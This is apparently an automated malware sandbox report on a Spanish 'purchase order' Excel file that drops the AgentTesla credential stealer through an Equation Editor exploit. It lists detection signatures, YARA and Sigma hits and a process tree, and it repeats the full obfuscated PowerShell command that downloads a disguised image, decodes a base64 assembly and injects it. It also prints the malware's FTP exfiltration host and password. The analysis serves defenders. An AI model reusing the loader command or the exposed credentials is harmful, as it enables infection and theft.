Edit tour

Windows Analysis Report
orden de compra.xlam.xlsx

Overview

General Information

Sample name:	orden de compra.xlam.xlsx
Analysis ID:	1465900
MD5:	2f9a02c106854721a8c4fbdef77e6bd1
SHA1:	626be0171e875f0be6a67e72c92e2c0bd190d51c
SHA256:	b053d32b3179667b0f2ecfbd8ef2ba4ea80e0ed27106847282b72a3778ada68f
Tags:	xlamxlsx
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Sigma detected: EQNEDT32.EXE connecting to internet

Sigma detected: File Dropped By EQNEDT32EXE

Snort IDS alert for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected AgentTesla

Yara detected Powershell download and execute

.NET source code contains potential unpacker

.NET source code references suspicious native API functions

Check if machine is in data center or colocation facility

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Contains functionality to log keystrokes (.Net Source)

Document exploit detected (process start blacklist hit)

Injects a PE file into a foreign processes

Installs new ROOT certificates

Obfuscated command line found

Office equation editor establishes network connection

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Shellcode detected

Sigma detected: Base64 Encoded PowerShell Command Detected

Sigma detected: Equation Editor Network Connection

Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation

Sigma detected: Potential PowerShell Command Line Obfuscation

Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: Script Initiated Connection to Non-Local Network

Sigma detected: Suspicious Microsoft Office Child Process

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Very long command line found

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes to foreign memory regions

Wscript starts Powershell (via cmd or directly)

Yara detected Generic Downloader

Allocates memory with a write watch (potentially for evading sandboxes)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Checks if the current process is being debugged

Contains functionality to download and execute PE files

Contains functionality to download and launch executables

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Document misses a certain OLE stream usually present in this Microsoft Office document type

Enables debug privileges

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Office Equation Editor has been started

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Script Initiated Connection

Sigma detected: Suspicious DNS Query for IP Lookup Service APIs

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores large binary data to the registry

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w7x64

EXCEL.EXE (PID: 1308 cmdline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)

EQNEDT32.EXE (PID: 976 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

wscript.exe (PID: 2884 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\portugalslovenia.js" MD5: 979D74799EA6C8B8167869A68DF5204A)

powershell.exe (PID: 2200 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ".( $pSHoMe[21]+$pShome[34]+'x') ( ('t0vlink = Amahttps://uploadde'+'imagens.com.br/images/004/807/053/origin'+'al/new_image.jpg?1719846235Ama; t0vwebClient = New-Object System.Net.WebClient; try { t0vdownloadedData = t0vwebClient.DownloadData(t0vlink) } catch'+' { Write-Host AmaFailed To do'+'wnload data from t0vlin'+'kAma -ForegroundColor Red'+'; exit }; if ('+'t0vdownloadedData -ne t0vnull) { t0vimageText = [System.Text.Encoding]::UT'+'F8.GetString(t0vdownloadedData); t0vstartFlag = Ama<<BASE64_START>>Ama; t0vendFlag = Ama<<BASE64_END>>Ama; t0vstartIndex = t0vimageText.IndexOf(t0vstartFlag); t0vendIndex = t0vimageText.IndexOf(t0vendFlag); if (t0vstartIndex -ge 0 -and t0vendIndex -gt t0vstart'+'Index) { t0vstartIndex += t0vstartF'+'lag.Length; t0vbase64Len'+'gth = t0vendIndex - t0vstartIndex; t0vba'+'se64Command = t0vimageText.Substring(t0vstartIndex, t0vb'+'ase64Length); t0vcommandBytes = [System.Convert]::FromBase64String(t0vbase64C'+'ommand); t0vloadedAssembly = [System.Reflection.As'+'sembly]::Load(t0vcommandBytes); t0vtype = t'+'0vloadedAssembly.GetType('+'AmaRunPE.HomeAma); t0vmethod = t0vtype.GetMethod(AmaVAIAma).Invoke(t'+'0vnull, [object[]] (Amatxt.esablanoitidarTruo/651'+'.342.3.291//:ptthAma , '+'AmadesativadoAma , AmadesativadoAma'+' , Amade'+'sativadoAma,AmaAddInPro'+'cess32Ama,AmaAma)) } }Set Scriptblock t0vlink = Amahttps://uploaddeimage'+'ns.com.br/images/004/806/083/original/new_image.jpg?1719607612Am'+'a; t0vwebClient = New-O'+'bject System.Net.WebClien'+'t; try { t0vdownloadedData = t0vwebClient.DownloadData(t0vlink) } catch { Write-Host AmaFailed To download data from t0vlinkAma -ForegroundColor Red; exit }; if (t0vdownloadedData -ne t0vnull) { t0vimageText = [System.Text.Encoding]::UTF8.'+'GetString(t0vdownloadedData); t0vstartFlag '+'= Ama<<BASE64_START>>Ama; t0vendFlag = Ama<<BASE64_END'+'>>Ama; t0vstartIndex = t'+'0vi'+'mageText.IndexOf(t0vstartFlag'+'); t0vendIndex = t0vimageText.Index'+'Of(t0vendFlag); if (t0vstartIndex '+'-g'+'e 0 -and t0vendIndex -gt t0vstartIndex) { '+'t0vstartIndex += t0vstartFlag.Length; t0vbase64L'+'ength = t0vendIndex - t0vstartIndex; t0vbase64Command'+' = t0vimageText.Substring(t0vstartIndex, t0vbase64Length); t0vcommandB'+'ytes = [Sy'+'stem.Convert]:'+':FromBase64String(t0vbase64Command); t0vloadedAssembly = [System.Reflection.Assembly]::Load(t0vcommandBytes); t0vtype = t0vloadedAssembly.'+'GetType(AmaRunPE.HomeAma); t0vmethod ='+' t0vtype.GetMet'+'hod(AmaVAIAma).Invoke(t0vnull,'+' [ob'+'ject[]] (Amatxt.esabla'+'noitidarTruo/651.342.'+'3.291//:ptthAma , AmadesativadoAma , AmadesativadoAma , AmadesativadoAma,AmaAddInProcess32Ama,AmadesativadoAma)) } }').RepLAce('t0v','$').RepLAce(([ChaR]65+[ChaR]109+[ChaR]97),[STrINg][ChaR]39) )" MD5: EB32C070E658937AA9FA9F3AE629B2B8)

AddInProcess32.exe (PID: 3000 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" MD5: EFBCDD2A3EBEA841996AEF00417AA958)

AddInProcess32.exe (PID: 1652 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" MD5: EFBCDD2A3EBEA841996AEF00417AA958)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://0xmrmagnezi.github.io/malware%20analysis/AgentTesla/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "FTP", "Host": "ftp://ftp.horeca-bucuresti.ro", "Username": "americas2@horeca-bucuresti.ro", "Password": "H*TE9iL;x61m"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
sheet1.xml	INDICATOR_XML_LegacyDrawing_AutoLoad_Document	detects AutoLoad documents using LegacyDrawing	ditekSHen	0x27b:$s1: <legacyDrawing r:id=" 0x2a3:$s2: <oleObject progId=" 0x2ea:$s3: autoLoad="true"

Memory Dumps

Source	Rule	Description	Author	Strings
00000009.00000002.618799471.0000000002545000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000002.478369752.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000002.478369752.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000008.00000002.478863572.0000000002545000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.481125469.0000000003499000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.481125469.0000000003499000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000006.00000002.481125469.0000000003AA4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.481125469.0000000003AA4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: powershell.exe PID: 2200	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 2200	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: powershell.exe PID: 2200	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: powershell.exe PID: 2200	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x1c17c:$b2: ::FromBase64String( 0x406ce:$b2: ::FromBase64String( 0x41178:$b2: ::FromBase64String( 0x497f2:$b2: ::FromBase64String( 0x95635:$b2: ::FromBase64String( 0x96120:$b2: ::FromBase64String( 0x9cf3c:$b2: ::FromBase64String( 0x9da2a:$b2: ::FromBase64String( 0x9ef93:$b2: ::FromBase64String( 0xa2450:$b2: ::FromBase64String( 0xa2f3b:$b2: ::FromBase64String( 0xa401d:$b2: ::FromBase64String( 0xa4b0a:$b2: ::FromBase64String( 0xa5805:$b2: ::FromBase64String( 0xa64b2:$b2: ::FromBase64String( 0xba28d:$b2: ::FromBase64String( 0x22435e:$b2: ::FromBase64String( 0x22576d:$b2: ::FromBase64String( 0x225c41:$b2: ::FromBase64String( 0x2275e4:$b2: ::FromBase64String( 0x227a3a:$b2: ::FromBase64String(
Process Memory Space: AddInProcess32.exe PID: 3000	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: AddInProcess32.exe PID: 3000	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: AddInProcess32.exe PID: 1652	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 10 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
6.2.powershell.exe.3aa4df8.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
6.2.powershell.exe.3aa4df8.2.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
6.2.powershell.exe.3aa4df8.2.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x325e7:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x32659:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x326e3:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x32775:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x327df:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x32851:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x328e7:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x32977:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
6.2.powershell.exe.3aa4df8.2.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x2f7ca:$s2: GetPrivateProfileString 0x2ee9c:$s3: get_OSFullName 0x3050a:$s5: remove_Key 0x306ba:$s5: remove_Key 0x315b1:$s6: FtpWebRequest 0x325c9:$s7: logins 0x32b3b:$s7: logins 0x3584c:$s7: logins 0x358fe:$s7: logins 0x37251:$s7: logins 0x36498:$s9: 1.85 (Hash, version 2, native byte-order)
8.2.AddInProcess32.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
8.2.AddInProcess32.exe.400000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
8.2.AddInProcess32.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
8.2.AddInProcess32.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x343e7:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x34459:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x344e3:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x34575:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x345df:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x34651:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x346e7:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x34777:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
8.2.AddInProcess32.exe.400000.0.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x315ca:$s2: GetPrivateProfileString 0x30c9c:$s3: get_OSFullName 0x3230a:$s5: remove_Key 0x324ba:$s5: remove_Key 0x333b1:$s6: FtpWebRequest 0x343c9:$s7: logins 0x3493b:$s7: logins 0x3764c:$s7: logins 0x376fe:$s7: logins 0x39051:$s7: logins 0x38298:$s9: 1.85 (Hash, version 2, native byte-order)
6.2.powershell.exe.3aa4df8.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
6.2.powershell.exe.3aa4df8.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
6.2.powershell.exe.3aa4df8.2.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
6.2.powershell.exe.3aa4df8.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x343e7:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x34459:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x344e3:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x34575:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x345df:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x34651:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x346e7:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x34777:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
6.2.powershell.exe.3aa4df8.2.raw.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x315ca:$s2: GetPrivateProfileString 0x30c9c:$s3: get_OSFullName 0x3230a:$s5: remove_Key 0x324ba:$s5: remove_Key 0x333b1:$s6: FtpWebRequest 0x343c9:$s7: logins 0x3493b:$s7: logins 0x3764c:$s7: logins 0x376fe:$s7: logins 0x39051:$s7: logins 0x38298:$s9: 1.85 (Hash, version 2, native byte-order)
Click to see the 9 entries

Sigma Signatures

Exploits

Sigma detected: EQNEDT32.EXE connecting to internet

Source: Network Connection

Author: Joe Security: Data: DestinationIp: 192.3.243.156, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 976, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49161

Sigma detected: File Dropped By EQNEDT32EXE

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 976, TargetFilename: C:\Users\user\AppData\Roaming\portugalslovenia.js

System Summary

Sigma detected: Base64 Encoded PowerShell Command Detected

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ".( $pSHoMe[21]+$pShome[34]+'x') ( ('t0vlink = Amahttps://uploadde'+'imagens.com.br/images/004/807/053/origin'+'al/new_image.jpg?1719846235Ama; t0vwebClient = New-Object System.Net.WebClient; try { t0vdownloadedData = t0vwebClient.DownloadData(t0vlink) } catch'+' { Write-Host AmaFailed To do'+'wnload data from t0vlin'+'kAma -ForegroundColor Red'+'; exit }; if ('+'t0vdownloadedData -ne t0vnull) { t0vimageText = [System.Text.Encoding]::UT'+'F8.GetString(t0vdownloadedData); t0vstartFlag = Ama<<BASE64_START>>Ama; t0vendFlag = Ama<<BASE64_END>>Ama; t0vstartIndex = t0vimageText.IndexOf(t0vstartFlag); t0vendIndex = t0vimageText.IndexOf(t0vendFlag); if (t0vstartIndex -ge 0 -and t0vendIndex -gt t0vstart'+'Index) { t0vstartIndex += t0vstartF'+'lag.Length; t0vbase64Len'+'gth = t0vendIndex - t0vstartIndex; t0vba'+'se64Command = t0vimageText.Substring(t0vstartIndex, t0vb'+'ase64Length); t0vcommandBytes = [System.Convert]::FromBase64String(t0vbase64C'+'ommand); t0vloadedAssembly = [System.Reflection.As'+'sembly]::Load(t0vcommandBytes); t0vtype = t'+'0vloadedAssembly.GetType('+'AmaRunPE.HomeAma); t0vmethod = t0vtype.GetMethod(AmaVAIAma).Invoke(t'+'0vnull, [object[]] (Amatxt.esablanoitidarTruo/651'+'.342.3.291//:ptthAma , '+'AmadesativadoAma , AmadesativadoAma'+' , Amade'+'sativadoAma,AmaAddInPro'+'cess32Ama,AmaAma)) } }Set Scriptblock t0vlink = Amahttps://uploaddeimage'+'ns.com.br/images/004/806/083/original/new_image.jpg?1719607612Am'+'a; t0vwebClient = New-O'+'bject System.Net.WebClien'+'t; try { t0vdownloadedData = t0vwebClient.DownloadData(t0vlink) } catch { Write-Host AmaFailed To download data from t0vlinkAma -ForegroundColor Red; exit }; if (t0vdownloadedData -ne t0vnull) { t0vimageText = [System.Text.Encoding]::UTF8.'+'GetString(t0vdownloadedData); t0vstartFlag '+'= Ama<<BASE64_START>>Ama; t0vendFlag = Ama<<BASE64_END'+'>>Ama; t0vstartIndex = t'+'0vi'+'mageText.IndexOf(t0vstartFlag'+'); t0vendIndex = t0vimageText.Index'+'Of(t0vendFlag); if (t0vstartIndex '+'-g'+'e 0 -and t0vendIndex -gt t0vstartIndex) { '+'t0vstartIndex += t0vstartFlag.Length; t0vbase64L'+'ength = t0vendIndex - t0vstartIndex; t0vbase64Command'+' = t0vimageText.Substring(t0vstartIndex, t0vbase64Length); t0vcommandB'+'ytes = [Sy'+'stem.Convert]:'+':FromBase64String(t0vbase64Command); t0vloadedAssembly = [System.Reflection.Assembly]::Load(t0vcommandBytes); t0vtype = t0vloadedAssembly.'+'GetType(AmaRunPE.HomeAma); t0vmethod ='+' t0vtype.GetMet'+'hod(AmaVAIAma).Invoke(t0vnull,'+' [ob'+'ject[]] (Amatxt.esabla'+'noitidarTruo/651.342.'+'3.291//:ptthAma , AmadesativadoAma , AmadesativadoAma , AmadesativadoAma,AmaAddInProcess32Ama,AmadesativadoAma)) } }').RepLAce('t0v','$').RepLAce(([ChaR]65+[ChaR]109+[ChaR]97),[STrINg][ChaR]39) )", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ".( $pSHoMe[21]+$pShome[34]+'x') ( ('t0vlink = Amahttps://uploadde'+'imagens.com.br/images/004/807/053

Sigma detected: Equation Editor Network Connection

Source: Network Connection

Author: Max Altgelt (Nextron Systems): Data: DestinationIp: 192.168.2.22, DestinationIsIpv6: false, DestinationPort: 49161, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 976, Protocol: tcp, SourceIp: 192.3.243.156, SourceIsIpv6: false, SourcePort: 80

Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation

Source: Process started

Author: Thomas Patzke: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ".( $pSHoMe[21]+$pShome[34]+'x') ( ('t0vlink = Amahttps://uploadde'+'imagens.com.br/images/004/807/053/origin'+'al/new_image.jpg?1719846235Ama; t0vwebClient = New-Object System.Net.WebClient; try { t0vdownloadedData = t0vwebClient.DownloadData(t0vlink) } catch'+' { Write-Host AmaFailed To do'+'wnload data from t0vlin'+'kAma -ForegroundColor Red'+'; exit }; if ('+'t0vdownloadedData -ne t0vnull) { t0vimageText = [System.Text.Encoding]::UT'+'F8.GetString(t0vdownloadedData); t0vstartFlag = Ama<<BASE64_START>>Ama; t0vendFlag = Ama<<BASE64_END>>Ama; t0vstartIndex = t0vimageText.IndexOf(t0vstartFlag); t0vendIndex = t0vimageText.IndexOf(t0vendFlag); if (t0vstartIndex -ge 0 -and t0vendIndex -gt t0vstart'+'Index) { t0vstartIndex += t0vstartF'+'lag.Length; t0vbase64Len'+'gth = t0vendIndex - t0vstartIndex; t0vba'+'se64Command = t0vimageText.Substring(t0vstartIndex, t0vb'+'ase64Length); t0vcommandBytes = [System.Convert]::FromBase64String(t0vbase64C'+'ommand); t0vloadedAssembly = [System.Reflection.As'+'sembly]::Load(t0vcommandBytes); t0vtype = t'+'0vloadedAssembly.GetType('+'AmaRunPE.HomeAma); t0vmethod = t0vtype.GetMethod(AmaVAIAma).Invoke(t'+'0vnull, [object[]] (Amatxt.esablanoitidarTruo/651'+'.342.3.291//:ptthAma , '+'AmadesativadoAma , AmadesativadoAma'+' , Amade'+'sativadoAma,AmaAddInPro'+'cess32Ama,AmaAma)) } }Set Scriptblock t0vlink = Amahttps://uploaddeimage'+'ns.com.br/images/004/806/083/original/new_image.jpg?1719607612Am'+'a; t0vwebClient = New-O'+'bject System.Net.WebClien'+'t; try { t0vdownloadedData = t0vwebClient.DownloadData(t0vlink) } catch { Write-Host AmaFailed To download data from t0vlinkAma -ForegroundColor Red; exit }; if (t0vdownloadedData -ne t0vnull) { t0vimageText = [System.Text.Encoding]::UTF8.'+'GetString(t0vdownloadedData); t0vstartFlag '+'= Ama<<BASE64_START>>Ama; t0vendFlag = Ama<<BASE64_END'+'>>Ama; t0vstartIndex = t'+'0vi'+'mageText.IndexOf(t0vstartFlag'+'); t0vendIndex = t0vimageText.Index'+'Of(t0vendFlag); if (t0vstartIndex '+'-g'+'e 0 -and t0vendIndex -gt t0vstartIndex) { '+'t0vstartIndex += t0vstartFlag.Length; t0vbase64L'+'ength = t0vendIndex - t0vstartIndex; t0vbase64Command'+' = t0vimageText.Substring(t0vstartIndex, t0vbase64Length); t0vcommandB'+'ytes = [Sy'+'stem.Convert]:'+':FromBase64String(t0vbase64Command); t0vloadedAssembly = [System.Reflection.Assembly]::Load(t0vcommandBytes); t0vtype = t0vloadedAssembly.'+'GetType(AmaRunPE.HomeAma); t0vmethod ='+' t0vtype.GetMet'+'hod(AmaVAIAma).Invoke(t0vnull,'+' [ob'+'ject[]] (Amatxt.esabla'+'noitidarTruo/651.342.'+'3.291//:ptthAma , AmadesativadoAma , AmadesativadoAma , AmadesativadoAma,AmaAddInProcess32Ama,AmadesativadoAma)) } }').RepLAce('t0v','$').RepLAce(([ChaR]65+[ChaR]109+[ChaR]97),[STrINg][ChaR]39) )", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ".( $pSHoMe[21]+$pShome[34]+'x') ( ('t0vlink = Amahttps://uploadde'+'imagens.com.br/images/004/807/053

Sigma detected: Potential PowerShell Command Line Obfuscation

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton (fp): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ".( $pSHoMe[21]+$pShome[34]+'x') ( ('t0vlink = Amahttps://uploadde'+'imagens.com.br/images/004/807/053/origin'+'al/new_image.jpg?1719846235Ama; t0vwebClient = New-Object System.Net.WebClient; try { t0vdownloadedData = t0vwebClient.DownloadData(t0vlink) } catch'+' { Write-Host AmaFailed To do'+'wnload data from t0vlin'+'kAma -ForegroundColor Red'+'; exit }; if ('+'t0vdownloadedData -ne t0vnull) { t0vimageText = [System.Text.Encoding]::UT'+'F8.GetString(t0vdownloadedData); t0vstartFlag = Ama<<BASE64_START>>Ama; t0vendFlag = Ama<<BASE64_END>>Ama; t0vstartIndex = t0vimageText.IndexOf(t0vstartFlag); t0vendIndex = t0vimageText.IndexOf(t0vendFlag); if (t0vstartIndex -ge 0 -and t0vendIndex -gt t0vstart'+'Index) { t0vstartIndex += t0vstartF'+'lag.Length; t0vbase64Len'+'gth = t0vendIndex - t0vstartIndex; t0vba'+'se64Command = t0vimageText.Substring(t0vstartIndex, t0vb'+'ase64Length); t0vcommandBytes = [System.Convert]::FromBase64String(t0vbase64C'+'ommand); t0vloadedAssembly = [System.Reflection.As'+'sembly]::Load(t0vcommandBytes); t0vtype = t'+'0vloadedAssembly.GetType('+'AmaRunPE.HomeAma); t0vmethod = t0vtype.GetMethod(AmaVAIAma).Invoke(t'+'0vnull, [object[]] (Amatxt.esablanoitidarTruo/651'+'.342.3.291//:ptthAma , '+'AmadesativadoAma , AmadesativadoAma'+' , Amade'+'sativadoAma,AmaAddInPro'+'cess32Ama,AmaAma)) } }Set Scriptblock t0vlink = Amahttps://uploaddeimage'+'ns.com.br/images/004/806/083/original/new_image.jpg?1719607612Am'+'a; t0vwebClient = New-O'+'bject System.Net.WebClien'+'t; try { t0vdownloadedData = t0vwebClient.DownloadData(t0vlink) } catch { Write-Host AmaFailed To download data from t0vlinkAma -ForegroundColor Red; exit }; if (t0vdownloadedData -ne t0vnull) { t0vimageText = [System.Text.Encoding]::UTF8.'+'GetString(t0vdownloadedData); t0vstartFlag '+'= Ama<<BASE64_START>>Ama; t0vendFlag = Ama<<BASE64_END'+'>>Ama; t0vstartIndex = t'+'0vi'+'mageText.IndexOf(t0vstartFlag'+'); t0vendIndex = t0vimageText.Index'+'Of(t0vendFlag); if (t0vstartIndex '+'-g'+'e 0 -and t0vendIndex -gt t0vstartIndex) { '+'t0vstartIndex += t0vstartFlag.Length; t0vbase64L'+'ength = t0vendIndex - t0vstartIndex; t0vbase64Command'+' = t0vimageText.Substring(t0vstartIndex, t0vbase64Length); t0vcommandB'+'ytes = [Sy'+'stem.Convert]:'+':FromBase64String(t0vbase64Command); t0vloadedAssembly = [System.Reflection.Assembly]::Load(t0vcommandBytes); t0vtype = t0vloadedAssembly.'+'GetType(AmaRunPE.HomeAma); t0vmethod ='+' t0vtype.GetMet'+'hod(AmaVAIAma).Invoke(t0vnull,'+' [ob'+'ject[]] (Amatxt.esabla'+'noitidarTruo/651.342.'+'3.291//:ptthAma , AmadesativadoAma , AmadesativadoAma , AmadesativadoAma,AmaAddInProcess32Ama,AmadesativadoAma)) } }').RepLAce('t0v','$').RepLAce(([ChaR]65+[ChaR]109+[ChaR]97),[STrINg][ChaR]39) )", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ".( $pSHoMe[21]+$pShome[34]+'x') ( ('t0vlink = Amahttps://uploadde'+'imagens.com.br/images/004/807/053

Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands

Source: Process started

